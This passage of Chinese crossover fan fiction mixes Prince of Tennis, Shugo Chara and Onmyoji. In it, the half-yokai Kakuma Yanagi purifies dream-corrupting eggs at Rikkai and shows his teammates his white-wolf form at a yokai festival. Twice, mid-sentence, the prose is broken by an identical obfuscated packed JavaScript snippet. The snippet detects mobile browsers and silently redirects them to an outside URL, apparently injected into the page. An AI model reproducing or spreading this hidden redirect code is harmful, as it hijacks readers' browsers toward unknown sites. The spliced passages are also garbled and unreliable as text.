但现在的他看着加九间柳那双写满“我是认真的”的眼睛,最终只是温柔地笑了起来。 “好啊,那就说定了。” 12. 坏蛋 新学期的立海大附属中学,迎来了新鲜血液。加九间柳和柳明音顺利入学,一同提交了加入网球部的申请表。 加九间柳毫无疑问的在正选选拔赛中迅速击败了所有非正选对手,并在与切原赤也的练习赛中再次展现出惊人的技术,成功获得了正选的位置。这个过程平静无波,理所应当。 柳明音则提交了网球部经理的申请。在陪同加九间柳过程中养成的出色的后勤规划能力以及温和而不失严谨的态度,很快就在面试中得到了幸村和柳莲二的认可,作为后勤经理加入了网球部,开始负责训练器材管理,数据初步整理以及部分联络工作——后续多次因睡过头而受到了表哥柳莲二的铁拳制裁,并没有打很痛。 开学第一天时,仁王雅治看着已经很熟悉的新任小学弟加九间柳,欺诈师的本能蠢蠢欲动。他凑过去,露出一副煞有介事的表情,压低声音:“噗哩~加九间,你知道我们立海大网球部有个不成文的传统吗?” 加九间柳停下脚步,墨色的眼睛看向他,带着一丝询问。 “新人要想真正被网球部接纳,”仁王指了指写着“立海大附属中学”的大门,“得先跳上去,然后对着大家大声喊出自己的目标!比如‘要成为No.1’之类的!”他说得一本正经,旁边的桑原欲言又止,但被丸井捂住了嘴。 加九间柳看了看那高度,面无表情地点了点头:“明白了。”他后退几步,似乎真的在估量起跳点和发力方式,眼看就要助跑起跳—— “等等!小柳!”刚刚赶来的柳明音恰好看到这一幕,急忙跑过来拉住他的手臂,“这怎么听都不是真的吧!” 加九间柳被拉住,看了看柳明音,又看了看终于忍不住笑出声的仁王,沉默了一下,似乎才反应过来自己被捉弄了。他没什么表情地看了仁王一眼,但并没有生气,只是对对方这种爱捉弄的性格有些无奈。 开学没过几天,丸井文太带来了几张新的音乐光盘,说是最近非常流行的歌手星那歌呗的专辑,极力推荐送到学校广播室播放。“歌真的超棒!很有力量感!”他吹着泡泡糖保证道。 加九间柳对这个名字有印象,自从认识了日奈森亚梦后,他出门也会偶尔碰上,两人交换了line,偶尔也会扮演一个开导者陪这个看起来心事重重的女孩聊聊天。星那歌呗就是亚梦常提起的人之一,她身边也有两个可爱的孩子,只是亚梦和歌呗有段时间似乎吵架了,现在已经和好。 光盘被播放了。歌声确实优美动听,充满感染力,回荡在立海大校园。然而,随着歌声扩散,一种难以言喻的沉闷气氛也开始悄然弥漫。学校里大部分的学生,眼中似乎失去了光彩,变得有些浑浑噩噩,一个个模糊的带着负面情绪的黑色影子从他们身上隐约浮现,漂浮在空气中,整个校园一时笼罩在一片无形的低气压下。 网球部的正选们内心意志坚定,目标明确,并未受到太大影响,但他们都敏锐地察觉到了学校气氛的诡异。 “怎么回事?大家好像都没什么精神?”训练间隙,胡狼桑原担忧地看着操场外走过的一些眼神空洞的学生。 柳莲二合上笔记本,眉头微蹙:“异常精神波动现象覆盖全校85%以上区域,源头疑似广播音乐,但作用机理无法解析。数据不足。” 真田脸色严峻,压低帽檐,尽管不愿承认但不得不说:“像是被什么不干净的东西影响了。” 幸村精市看着窗外,眼中中带着审视与一丝凝重,他们能隐约感觉到那些漂浮的黑色坏蛋带来的压抑感,但它们飘浮在空中,无法触碰到,也不确定能否用常规手段清除。 就在这时,一个黑色的小小身影慌慌张张地从网球部围栏外飞过,嘴里嘀咕着:“喵哇!这里是怎么回事?好多坏蛋喵!几斗!几斗你在哪里喵,这里好可怕!” 正是偷溜出来玩的守护甜心阿夜。 他想赶紧飞走去找月咏几斗,却被眼尖的加九间柳瞬间锁定。加九间柳身影一动,快得几乎留下残影,下一秒已经出现在围栏边,精准地一把抓住了试图飞走的阿夜。 “哇啊啊!谁啊!放开我喵!”阿夜挣扎着。 加九间柳无视他的挣扎,将他举到眼前,指着那些漂浮的黑色坏蛋询问:“这些东西,你知道怎么回事。怎么处理?” 阿夜被抓住,对上加九间柳那双非人般冷静的墨色竖瞳,直觉被某种大型野兽盯上,吓得炸毛:“要净化它们需要变身喵!几斗可以用小提琴的音乐净化!你快放开我,我去找几斗喵!” 加九间柳蹙眉。等那个叫几斗的过来太慢,而且这景象让他很不舒服。他看了一眼手中黑色的猫型守护甜心,做出了一个简单直接的决定。 “你来和我变身。”他陈述道。 “诶?!等等喵!我才不要和陌生人——”阿夜惊恐地拒绝。 不等阿夜说完,一股无法抗拒的妖力包裹住阿夜。阿夜连抗议都没说完就被塞进了蛋里,进入加九间柳的身体。 “我的心!Unlock——!”被迫的变身口号响起。 一道光芒闪过。加九间柳的身上覆盖上黑色的紧身衣饰,手脚变得更为灵巧,指尖弹出锐利的爪子,最重要的是,头顶冒出了一对黑色的毛茸茸的猫耳,身后也垂下一条长长的能够灵活摆动的黑色猫尾。 被迫变身的加九间柳跳到教学楼顶。他运转妖力,强大的吸引力以他为中心扩散开来,那些四处漂浮的黑色坏蛋仿佛被无形的手抓住,纷纷哀嚎着被强行聚集到他面前的半空中,形成一个巨大的不断翻滚的黑球。 接着,他不知从哪掏出了一架古琴。 清澈而悠扬的琴音流淌出来,带着某种不可言说的蛊惑的意味。是很久前跟妖琴师学来的技艺,太久没碰,琴技有些生疏,曲子也有些忘了,但对付这些坏蛋已经足够了。 坏蛋在琴音中剧烈颤抖,表面的黑色如同被洗刷的污渍般逐渐褪去,露出原本洁白的光泽,然后纷纷化作一道道白光,飞散消失,回归各自主人的内心。 校园内压抑的气氛随之一扫而空,学生们虽然还有些茫然,但眼神逐渐恢复了神采,对梦想的迷茫也随之消散。 净化完成。加九间柳收起琴,跳回网球场时,身上的变身也随之解除,猫耳猫尾消失,阿夜被弹了出来,气喘吁吁地飞在一边,净化黑蛋不但消耗加九间柳的体力,不匹配的变身会让阿夜也感到疲惫,更何况是一口气净化那么多的坏蛋。 加九间柳落到网球部训练场最远的角落,抱着膝盖蹲了下来,周身弥漫着一股极度阴沉颓废的气息,仿佛受到了巨大的精神污染。 “居然和一只猫融合了…”他低声喃喃,语气里充满了难以言喻的嫌弃和恶心,“……好恶心。” 另一边,阿夜也在拼命用力搓着自己的手臂,仿佛要搓掉什么脏东西,炸毛炸得像个小黑刺球:“可恶!可恶喵!你这家伙怎么强行变身喵!还有一股讨厌的狗味!几斗——!”它大哭着飞走了,急需找主人寻求安慰。 立海大众人全程目睹了这超现实的一幕,从加九间柳抓猫、变身、聚怪、拉琴净化到事后激烈的“过敏反应”,全都陷入了沉默。 良久,丸井文太才呆呆地吹破了一个泡泡:“刚才……那是……” “猫耳……”切原赤也眼神发直。 “……是真的尾巴。”柳生比吕士扶了扶眼镜,虽然手有点抖。 真田张了张嘴,想说什么“太松懈了”,却发现此刻任何训斥都显得苍白无力。 幸村精市则轻轻笑了起来,笑容越发深不可测:“哎呀,真是看到了非常有趣的事情呢。原来加九间君还有这种能力。” 柳莲二已经不知何时掏出了笔记本,飞速记录着什么,“擅长的居然还有乐器这一项吗,刚刚飞走的那是什么,变身的时候和那些黑色的蛋很相似…” 训练场角落的低气压持续弥漫着。加九间柳依旧蹲在那里,周身散发着“勿扰”的气息。立海大正选们则围在一起,目光不时瞟向那个角落,脸上写满了震惊和强烈的好奇。 最终还是柳莲二率先打破了沉默,他推了推眼镜,看向自己那位虽然总睡过头但关键时刻还算靠谱的表弟柳明音,笔尖点着笔记本:“明音,刚才那个生物,以及加九间君的变身,还有那些黑色的‘蛋’,你知道些什么吗?这超出了常规数据的理解范围。” 柳明音无奈的挠了挠头,知道这事瞒不住,虽然他们也并没想着隐瞒,之前不说是因为没人问。但现在自家幼驯染当场表演了个“强制变身+净化”。他看了一眼依旧在自闭的加九间柳,认命地开始解释:“那个黑色的小家伙,是一种叫做‘守护甜心’的存在。” “守护甜心?”众人重复着这个陌生的词汇。 “嗯,可以理解为,由孩子们心中‘理想中的自己’所诞生的蛋中孵化出的伙伴。通常只有孩子才能看见和拥有,长大后会自然消失,也看不到了。它们代表着主人的梦想和希望。” 切原赤也瞪大了眼睛:“理想中的自己?蛋?那为什么柳那家伙能抓住它还能……变成那样?”他比划着猫耳和猫尾的动作。 “那个小家伙不是小柳的守护甜心。”柳明音知道的也不太多,“据我所知小柳并没有诞生理想中的自己。”他思索着自己知道的部分,“小柳似乎有很特别的能力,刚才情况紧急,那些黑色的‘坏蛋’是孩子们梦想被扭曲污染后产生的负面能量集合体,需要净化,不然会产生不小的麻烦。小柳大概是觉得等那个小家伙的主人过来太慢,所以就…用他的方式,‘借’用了它的力量进行了变身净化。” 真田眉头紧锁:“太乱来了!万一有危险怎么办!” “理论上,守护甜心变身是心灵相通的过程,强行……”柳明音看了一眼角落,语气带了点不易察觉的调侃,“而且那孩子的主人似乎是想变成一只猫?小柳可是坚定的犬派呢。” “犬派?”丸井捕捉到关键词。 柳明音点头:“小柳非常喜欢狗,路上碰到猫就像猫狗相见一样,总会感觉气氛怪怪的,小猫看到柳就会炸毛。所以和猫型的守护甜心强行变身,对他精神打击比较大。”他说着,走过去拍了拍加九间柳的肩膀,“好啦,那孩子又不是真的猫” 加九间柳抬起头,眼神死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360813|183667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂,幽幽地吐出一句:“……我不干净了。” 柳明音:“……”他决定暂时不理会这个重度犬派洁癖患者的幻觉。 幸村精市若有所思:“所以,那些光盘音乐的作用是……催生这种‘坏蛋’?” “应该是的。”柳明音表情稍微严肃了些,“这很危险,如果长期被坏蛋影响,孩子们的梦想可能会彻底消失。” 就在这时,两个身影出现在了网球部门口,吸引了大家的注意。 一位是穿着时尚,气质有些冷艳的金发少女——星那歌呗。另一位则是身材高挑,穿着高中校服的黑发少年——月咏几斗。他的肩膀上,刚刚飞走的阿夜正委屈巴巴地趴着,指着加九间柳的方向:“几斗!就是那个家伙喵!强行把我塞进去喵!” 月咏几斗的目光立刻锁定了角落里的加九间柳,眼里带着几分审视和一丝不易察觉的兴味。他就是特意过来看看,能强行和他家阿夜变身的小子到底是个什么样的人。 歌呗先一步开口,语气带着歉意:“抱歉,那些光盘是我前公司发售的,之前回收遗漏了这部分,我是来回收并处理后续的。”她看了一眼恢复正常的校园,松了口气,“看来已经有人处理好了。” 几斗则迈开长腿,径直走向加九间柳。他在加九间柳面前蹲下,无视对方周身“生人勿近”的气场,凑近了些,像确认什么似的嗅了嗅。 理所应当的,他没有真猫那么灵敏的嗅觉,什么也没闻到。 加九间柳眉头蹙起,往后缩了缩:“……”直觉告诉他很难和面前这个人相处好。 “啧,”几斗扯了扯嘴角,露出一抹似笑非笑的表情,回头对阿夜说,“阿夜,你就被这小子吓成这幅蠢样?” “喵!才不是被吓到!是那个家伙太乱来了喵!”阿夜在几斗肩上跳脚,指着加九间柳控诉,“而且他身上的味道很奇怪喵!” 几斗挑了挑眉,重新审视着加九间柳,似乎想要看穿面前人的本质。加九间柳毫不退缩地回视,墨色的瞳孔平静无波,但细微紧绷的身体线条显露出他的戒备。 加九间柳语气冷淡:“请离我远点。” “噗哩~”仁王在一旁看得兴致勃勃,“气氛真紧张啊。” 柳明音适时地插话,打断了这微妙的对峙:“月咏君,歌呗小姐,谢谢你们特意过来。坏蛋已经被小柳处理了,广播室的光盘应该还没被取走。” 歌呗点了点头,目光扫过立海大一众正选,最后落在加九间柳身上,语气缓和了些:“你就是日奈森总是提起的加九间柳?这次多谢你了。不过,倒是没想到你还有这样的能力。” 几斗也直起身,懒洋洋地插回口袋,最后瞥了加九间柳一眼:“小子,能力不错,但方式太野了。下次阿夜再乱跑被抓来强行绑定,我可不会这么好说话了。”这话听起来是威胁,但眼里却没什么真正的怒意,反而更像是一种另类的认可。 加九间柳:……并不需要猫男的认可。 阿夜不服气地嘟囔:“我才不会再被他抓到喵!” 几斗没再多说,对歌呗示意了一下,两人便转身前往广播室去回收那惹祸的光盘。 立海大众人目送他们离开,训练场陷入了一种“世界是不是哪里不对劲”的沉默。 柳莲二的笔几乎没停过,笔记本上密密麻麻地记录着新获取的信息:“守护甜心……加九间君特殊能力评估修正……数据量庞大,需建立新分类进行归档分析。” 丸井文太吹了个泡泡:“所以……刚才我们算是见识了……魔法少女……不对,魔法少年变身现场?” “是猫耳少年。”仁王纠正道,语气带着促狭,“噗哩~还挺适合他的,虽然本人好像快崩溃了。” 切原赤也抱着脑袋,世界观受到冲击:“梦想变成蛋……还能孵化出小精灵……还能变身……这比网球难懂多了啊!” 真田弦一郎深吸一口气,终于找回了自己的声音:“太松懈了!无论是未经允许播放问题光盘,还是擅自进行危险行动!”他的目光扫过丸井和加九间柳。 丸井缩了缩脖子。加九间柳则依旧蹲在角落,对真田的训斥没什么反应。 幸村精市轻轻拍手,将大家的注意力吸引过来,脸上带着一如既往的温柔微笑,但说出来的话却让所有人背后一凉:“看来新学期伊始,我们就遇到了非常有趣的课题呢。不过,当务之急,还是眼前的训练。” 他看向加九间柳和柳明音:“关于‘守护甜心’和加九间君的特殊能力,之后有机会再慢慢了解。现在,欢迎正式加入立海大网球部,加九间君,明音。” 柳莲二合上笔记本,面无表情:“明音,今早经理会议你迟到了15分钟,训练结束后加罚整理器材一周。” 柳明音:“表哥……” “抱怨,加罚操场五圈。” “……” 而加九间柳,终于缓缓站起身,虽然脸色依旧不太好看,但至少恢复了平时的冷静。他默默走到场边,拿起自己的球拍,用行动表示准备投入训练。 至于解释什么的,等他们问了再说吧。 13. 秋日祭 后面的日子被实在好奇的丸井和切原缠着询问久了,加九间柳觉得总是回避也不是办法。他思考良久,最终决定向这些他逐渐认可、信任的同伴们稍微敞开一点自己的世界。于是,在一个枫叶初红的秋日,他向网球部的正选们以及早已了解自己的柳明音发出了邀请函,地点定在了他的庭院。 周末,立海大网球部的成员们依约前来。开门的并非加九间柳或柳明音,而是一个脸上带着诡异般若面具的少年,只是脸上似乎透露着一丝不情愿——此前合宿时总想在山上搞点恶作剧却被加九间柳屡次“铁拳制裁”的般若。他似乎老实了不少,虽然面具下的眼神依旧闪烁着狡黠与不甘,但在加九间柳无形的威慑下,还是规规矩矩地做了个“请”的手势,声音闷闷地从面具后传来:“跟我来。” 他引领着充满好奇的众人穿过熟悉的庭院,径直向后山走去。 山路依旧是那条山路,但越往上爬,众人越发感到一种奇异的违和感。周围的空气似乎变得更加清新,却又带着一丝不同寻常的气息。原本清晰可见的山顶轮廓在薄雾中变得模糊,当他们终于踏上山顶平地时,眼前的景象让所有人都愣住了——记忆中那片被改造成网球场的平地消失无踪,取而代之的是一座古朴威严的仿佛历经无数岁月的朱红色鸟居,静静地矗立在弥漫的雾气中,如同分隔两个世界的界碑。 鸟居之后,是一条蜿蜒向前的铺着不规则青石板的幽深小径,两旁是红得绚烂的大片枫林,秋意在这里浓烈得仿佛要燃烧起来。 一个身影正悠闲地倚靠在鸟居旁等候。那是一位黑色头发的眯着眼睛笑得一脸人畜无害的少年——星熊童子。他的肩膀上,停着一只独眼乌鸦,正歪着头,无声地打量着这群陌生的人类少年。 “欢迎来到,大江山。”星熊童子笑眯眯地开口,声音温和,却带着一种奇特的韵味,像是一坛刚打开的好酒,酒香穿透空气,直醉人心。 立海大的少年们面面相觑,被眼前这超现实的景象和对方口中陌生的地名弄得有些迷茫。 星熊童子似乎看出了他们的拘谨,笑着拿起旁边案几上的酒盏:“远道而来即是客,不如先饮……” “他们还未成年,不能喝酒。”加九间柳的声音及时响起。他和早已前来帮忙准备的柳明音走出,依旧是一副没什么表情的样子,但眼神扫过同伴们时,带着明确的维护之意,格外认真地强调着人间的规矩。 星熊童子被噎了一下,有些苦恼地挠了挠头:“哎呀呀,小柳你还是这么刻板呢。罢了罢了,”他挥挥手,让开了道路,“祭典正要开始,快去玩吧。不过,”他转向加九间柳,眯着的眼睛似乎睁开了一条细缝,闪过一丝精光,“下次你可要好好陪我喝个尽兴才行。” 加九间柳微微颔首,算是应下了这个约定,然后便领着还有些愣神的立海大众人穿过了鸟居。 仿佛穿过了一层无形的水膜,眼前的景象豁然开朗。 喧嚣鼎沸的热闹气氛如同潮水般瞬间将他们淹没。与山下寂静的秋色截然不同,这里灯火璀璨,各种形状的灯笼散发着柔和或奇异的光芒,将夜色渲染得光怪陆离。道路上摩肩接踵的不再是人类,而是形态各异穿着奇特的妖怪们。有的长着兽耳兽尾,有的飘浮在半空,有的则保持着近乎人类的形态,只是眼神或气息透露着非人的特质。他们在路过人类的时候会看上两眼,或好奇或厌恶或无视,但在看到前面的加九间柳,大都会友好的点点头打招呼。 道路两旁支起了各式各样从未见过的小摊。卖的食物也千奇百怪:散发着莹莹蓝光的章鱼烧,滋滋作响却看不出原材料的肉串,会飘出淡淡烟雾的和果子……空气里弥漫着烤肉的焦香和甜腻的异界果香以及一种说不清的属于山林精怪的特殊气息。 “哇——!这里……这里就是大江山?妖怪的世界?”丸井文太瞪大了眼睛,嘴里刚塞进去的泡泡糖都忘了吹,楞楞地看着一个只有巴掌大的小妖怪抱着一个比它还大的章鱼烧飞过他面前。 “妖怪的庆典……”柳莲二已经本能地进入了数据收集模式,目光锐利地扫过每一个摊位和经过的妖怪,试图分析其种类、特性、行为模式,虽然绝大部分信息都超出了他的数据库范畴,让他兴奋又挫败。 真田弦一郎下意识地压低了帽檐,身体紧绷如临大敌,眉头紧锁,但眼中也难免闪过一丝震撼与好奇。他努力维持着表情,但微微张开的嘴唇暴露了他的惊讶。 幸村精市环视四周,眼睛里充满了惊叹与浓厚的兴趣,嘴角噙着温柔却深不可测的笑容:“真是……一个惊人又美丽的世界呢。对吧,莲二?” 柳莲二:“啊,数据量庞大,需要重新建立分析模型。初步观察,社会结构似乎与人类集市有相似之处,但运行规则截然不同……” “噗哩~比想象中有趣多了。”仁王雅治饶有兴致地看着一个分明是妖怪的摊主却正在用魔术招揽顾客,“说不定能学到点新把戏。” 柳生比吕士扶了扶眼镜,努力保持绅士的镇定,尽管看到一个长着三条尾巴的妖艳女子对他抛媚眼时,他的手指微不可查地抖了一下。“光怪陆离,超乎常理。”他客观地评价道。 切原赤也则已经完全兴奋起来了,左顾右盼,哇哇大叫:“好厉害!那个摊子卖的是真的眼球糖吗?!还有那个!那个大叔头上在冒火诶!” 胡狼桑原则比较谨慎,护在丸井身边,担心地看着那些奇异的食物:“那些东西……真的能吃吗?” 就在这时,丸井和切原按捺不住,凑到了加九间柳身边。 “呐呐,加九间,”丸井吹了个泡泡,好奇地上下打量他,“那你会是什么妖怪啊?动物那种吗?” 切原也立刻附和,眼睛闪闪发亮:“对啊对啊!会像上次那样有耳朵和尾巴吗?是什么动物的?狼?狗?老虎?”他越想越兴奋,“能不能变出来看看啊!一定超酷的!” 加九间柳被两人一左一右围着,面对连珠炮似的问题,嘴角似乎微不可查地抽动了一下。他简短地回答:“是半妖。……以后再说。” “诶——小气!”丸井和切原同时发出失望的嘘声。 柳明音在一旁忍着笑打圆场:“好了好了,先好好逛祭典吧,这些问题早晚会知道的。” 加九间顺势转移话题:“这里不用人类货币。看到喜欢的,可以用一些小游戏赢得,或者用你们身上带的人类小玩意儿交换,今天这里的很多妖怪喜欢新奇的人类物品。”他指了指旁边一个扔套圈的游戏摊位,奖品是各种发光的小石头或奇异草药。他早早与朋友们打好招呼了,这次秋日祭来的大多是不讨厌人类的妖怪,小吃也是在人能够承受的范围内提供。 这话立刻引起了大家的兴趣。丸井立刻被一个散发着甜腻香气的糖果摊吸引,摊主是一个脸上抹着厚厚白粉的女子,她正用长长的指甲敲打着展示柜。丸井试着用口袋里剩下的口香糖和几个造型有趣的硬币,成功换到了一包会自己变换颜色的“糖豆”,听说吃下去会产生不同的反应,但只有一包,吃了一粒然后飞起来的丸井在结束时也没舍得吃完剩下的。 切原则对一个测试气势的摊位产生了兴趣,需要对着一个特制的风铃大吼,看能让风铃亮起多少光芒。切原不服输地连续挑战,吼得眼睛赤红,快要恶魔化,最终居然真的让风铃亮起了微弱的光芒,虽然摊主笑得前仰后合,但还是送了他一个据说能带来短暂好运的护身符。 真田在一个卖木质刀剑的摊位前驻足良久,对一把散发着沉稳气息的木刀很感兴趣。摊主是一个身材高大的青鬼,真田用自己随身携带写有“不动明王”字样的书法练习纸,意外地换到了那把木刀。青鬼似乎很欣赏纸上蕴含的“气”。 幸村则在一个卖奇异植物的摊位前流连,摊主是几个只有膝盖高的植物系小妖精。幸村温柔的笑容和几句赞美,就让小妖精们高兴地送了他一盆在月光下会发出细微铃铛声的像铃兰花一样的植物。 柳莲二试图和一个看起来像老学者的妖精交流,询问关于妖怪界的历史和生态,老学者妖怪慢悠悠地说着晦涩难懂的古语,柳莲二飞速记录,虽然很多听不懂,但还是如获至宝。 仁王和柳生则在一个幻术摊前,和一只喜欢恶作剧的狐妖比拼起了“欺诈”技巧,狐妖的妖术固然精妙,但仁王的伪装和柳生的冷静分析也让狐妖啧啧称奇,最后变成了愉快的交流。实则互相忽悠。 胡狼桑原最终克服了担忧,尝试了一种看起来相对正常的、烤得金黄的巨大蘑菇串,意外地发现味道鲜美无比,还暖烘烘的。 大家分散开来,各自探索着这片祭典,与不同的妖怪们产生种种短暂交集。 不知不觉,夜色渐深,祭典的气氛也越来越热烈。突然,远处传来“咻——嘭!”的声音。 第一朵巨大的烟花在夜空中绚烂绽放,映照出无数妖怪仰起的脸庞和惊叹的表情。 “去看烟花吧。”加九间柳带着众人朝着祭典边缘一处地势较高的山坡走去。那里视野开阔,可以将大江山的部分景色和夜空中的烟花尽收眼底。 队员们陆续聚集过来,互相分享着刚才的见闻和得到的各种稀奇古怪的小礼物,脸上都带着兴奋和新奇的神色。 烟花接二连三地升空,绽放出绚丽的光彩,将夜空和大江山映照得如梦似幻。 在一片烟花照耀下的短暂明亮中,加九间柳看着身边这些虽然经历震撼却似乎逐渐适应甚至享受起这异界的同伴们,沉默了片刻。 烟花间歇的短暂寂静中,他再次开口,声音比平时低沉一些:“如你们所见,这里才是与我血脉相连的世界的一部分。我并非人类,而是人类与妖怪结合所生的……半妖。” 他顿了顿,似乎在斟酌词语,最终,他看向丸井和切原,眼神认真:“你们之前不是好奇,我是什么吗?” 说完,在众人惊讶的目光注视下,加九间柳的身形开始发生变化。 柔和却强大的妖气包裹住他,他的身体在微光中拉长、变形。几乎是在眨眼之间,原地已经不见了他的身影,取而代之的是一匹体型极为庞大,几乎堪比小型巴士的巨狼! 这匹巨狼拥有着浓密光滑的毛发,底色是纯净无瑕的雪白色,周围的气温似乎也连带低了几度。在漫天烟花的绚丽光芒照耀下,那身雪白的毛发边缘隐约泛着幽蓝的光泽,更显得神圣。四肢强壮有力,爪牙看似收敛却蕴含着可怕的力量。最引人注目的是那双眼睛,依旧是熟悉的墨色竖瞳,冷静、锐利,却比人形时更多了几分兽性的威严。它安静地伫立在那里,仿佛是从神话中走出的神兽。 所有人都被这突如其来、极具冲击力的变化惊得屏住了呼吸。 “呜……呜啊!!!”切原赤也在短暂的震惊后,第一个爆发出巨大的惊呼,但里面充满了难以置信的兴奋,“好、好大!好帅的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360814|183667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗!!” 巨狼低头对着切原赤也,呲牙:“……笨蛋。” 柳明音解释:“是白狼喔!”虽然他在小时候第一眼见到时也喊成了狗狗。 切原赤也吓得一抖:“咦——!对不起!” 丸井文太也惊呆了,泡泡糖黏在了脸上都忘了管:“这也太……太厉害了吧!” 巨狼——加九间柳微微伏低了些身躯,那双巨大的竖瞳看向队员们,似乎是在示意。 “可、可以摸吗?”切原激动得声音都有些发抖,眼睛亮得惊人。 巨狼极其轻微地点了一下巨大的头颅。 “太棒了!”切原和丸井几乎是同时扑了上去,紧接着是仁王、胡狼、甚至柳生和真田(据本人解释只是下意识地想确认毛发的质感)也忍不住好奇地靠近。幸村和柳莲二则站在稍近的地方,面带惊叹地微笑着观察。 “哇!好软!好舒服!”切原把整张脸都埋进了厚实柔软的狼毛里,手胡乱地摸着,“比最好的地毯还要舒服一万倍!” 丸井则兴奋地研究着巨大的狼耳,那耳朵在他小心翼翼的触摸下敏感地抖动了一下。“真的和狗狗的感觉好像!但是更大更威风!” 真田的手放在巨狼强壮的前肢上,感受着那皮毛下蕴含的惊人力量,表情严肃,内心却震撼不已。 柳生推了推眼镜,谨慎地抚摸了一下狼背上光滑的毛发,评价道:“……质感极佳,远超任何已知生物皮毛。” 仁王甚至试图去够那条几乎比他整个人还粗长的毛茸茸尾巴,尾巴摇晃逗弄着避开对方的手,最后玩够了又贴上仁王的脸颊,任由对方伸手抚摸。仁王噗哩地笑着:“这尾巴倒是可爱多了。” 虽然不知道此刻记录还有什么意义,但柳莲二还是忍不住拿出笔记本,近距离观察着:“不可思议……” 巨狼安静地伫立着,任由同伴们好奇地探索和抚摸,那双锐利的竖瞳中,似乎闪过一丝温和与无奈。 过了一会儿,在又一轮烟花升空的背景下,光芒再次闪烁。巨狼的身影被妖气的微光笼罩,迅速缩小,重新变回了那个黑发墨瞳、表情清淡的少年加九间柳。 周围瞬间安静下来,只有烟花在空中绽放的声响。 加九间柳看着大家,刚才的触摸似乎拉近了某种距离,但他的问题依旧需要答案,他的眼神认真而坦诚,甚至带着一丝不易察觉的紧张:“这就是你们所好奇的,我的不同之处。所以,这样的我……你们还能接受吗?” 他的话音刚落,丸井文太和切原赤也就再次扑了上来,这次是紧紧抱住了他。 “说什么傻话呢!”丸井用力拍着他的背,“是半妖又怎么样!天才一样酷!而且你的网球打得这么厉害,当然是伙伴啊!以后能不能偶尔变一下啊?躺着睡觉一定超舒服!” “就是就是!”切原也紧紧抱着不放手,兴奋地嚷嚷,“太帅了!比立海大的三连霸还要帅!……啊不是!一样帅!管你是人是狼,能一起打网球就行!下次练习赛我要和狼形态的你打打看!” 胡狼桑原在一旁憨厚地笑着点头:“感觉很可靠。” 仁王雅治勾着柳生比吕士的肩膀,噗哩一笑:“看来我的幻术又有新的学习目标了,不是吗,搭档?” 柳生比吕士推了推眼镜,虽然刚才的冲击余波未平,但语气已经恢复了镇定:“确实超出了科学解释范畴。但正如丸井君所说,这并不影响你作为立海大正选的价值和我们已经建立的羁绊。”他微微颔首,瞥了一眼仁王,“要幻影成加九间君可比其他人难多了。” 柳莲二合上了笔记本,语气一如既往的数据化,却带着无比的肯定:“种族形态的变化属于新增数据,但并不影响核心数据——即你作为立海大网球部一员的事实。结论:无需改变。” 柳明音站在加九间柳身边,用肩膀轻轻撞了他一下,笑容温暖:“看吧,我就说大家不会在意的。” 真田弦一郎看着被大家围住的加九间柳,最终只是沉声说了一句,虽然语气比平时缓和了不少:“不要松懈!无论是什么形态,训练和纪律都不能落下!” 幸村精市走到加九间柳面前,轻轻拍了拍加九间柳的肩膀:“看吧,这就是大家唯一的答案。立海大网球部,可不会因为这种‘小事’就失去重要的同伴。相反,我们似乎得到了更强大的助力呢。”他的笑容越发深不可测,“说不定全国大赛能开发出新战术?” 幸村精市伸出手,目光扫过所有正选,声音清晰而充满力量,穿透了烟花的轰鸣:“我们的目标——” 所有人,包括加九间柳和柳明音,都下意识地聚拢,将手叠在一起,异口同声地喊出了那句刻入灵魂、永不磨灭的誓言: “立海大三连霸——没有死角!” 洪亮而坚定的声音响彻山坡,甚至短暂地压过了祭典的喧嚣和烟花的绽放声,引得附近一些妖怪纷纷投来好奇的目光。少年们的笑容在璀璨烟火和漫山红枫的映衬下,无比耀眼。 加九间柳看着身边这群毫无隔阂,完全接受了他秘密的同伴,一直没什么表情的脸上,终于清晰地绽放出一个清浅却真实无比的微笑。心中最后的一丝顾虑也随着这誓言烟消云散。 秋日祭的烟花一轮轮绚烂绽放,照亮了这群少年之间崭新却无比坚固的羁绊。未来的道路或许还会有更多挑战,但此刻,他们彼此信任,目标一致,无所畏惧。 14. 华丽的比赛 坦白后的日子与往常相比并没有什么差异。他的不同并未改变他们的情感,却又悄然改变了一些氛围——比如丸井偶尔会眼巴巴地求他“变一下嘛,就一下”,并试图用新型超甜泡泡糖“贿赂”他,希望能再体验一次把脸埋进顶级狼毛里的感觉,当然,大多被加九间柳无情地拒绝。 直到某天,冰帝学园发来了练习赛的邀请。 比赛日,立海大网球部的成员们正在场上做着热身。 夸张的引擎轰鸣声由远及近,打破了校园的相对宁静。一辆加长型豪华轿车以一种极其招摇的方式停在了校门外。车门打开,首先映入眼帘的是一条鲜红的地毯,精准地沿着道路滚向立海大网球场的入口。 伴随着漫天洒落不知从何而来的深红色玫瑰花瓣,冰帝学园的国王——迹部景吾闪亮登场。外套随意地披在肩上,手指轻抚过眼角的泪痣,灰紫色的发丝在阳光下闪烁着耀眼的光芒。他身后,是以忍足侑士为首的冰帝正选们,同样气场十足。 “沉醉在本大爷华丽的美技之下吧!”迹部那标志性的充满磁性的嗓音响起,带着一如既往的自信与张扬,清晰地传遍了整个网球场。 